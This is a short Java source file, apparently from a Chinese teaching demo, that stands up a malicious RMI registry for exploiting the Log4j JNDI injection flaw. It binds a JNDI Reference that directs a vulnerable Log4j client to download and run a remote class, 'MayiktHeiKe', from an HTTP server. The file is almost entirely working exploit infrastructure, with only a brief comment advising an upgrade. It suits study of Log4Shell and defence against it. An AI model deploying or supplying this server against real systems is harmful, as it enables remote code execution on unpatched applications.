package com.mayikt;

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.NamingException;
import javax.naming.Reference;

import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

/**
 *
 */
public class MayiktLog4jServer {
    /**
     * 目前，Apache Log4j 已经发布了新版本来修复该漏洞，请受影响的用户将
     * Apache Log4j2 的所有相关应用程序升级至最新的 Log4j-2.15.0-rc2 版本
     * rmi----
     *
     * @param args
     * @throws RemoteException
     * @throws NamingException
     * @throws AlreadyBoundException
     */
    public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
        LocateRegistry.createRegistry(1099);
        Registry registry = LocateRegistry.getRegistry();
        // 远程连接到nginx http://127.0.0.1/MayiktHeiKe.class 执行该脚本-
        Reference reference = new Reference("MayiktHeiKe", "MayiktHeiKe", "http://127.0.0.1");
        ReferenceWrapper refObjWrapper = new ReferenceWrapper(reference);
        registry.bind("mayikt", refObjWrapper);
        System.out.println("-----服务器端启动成功....-----");
    }
}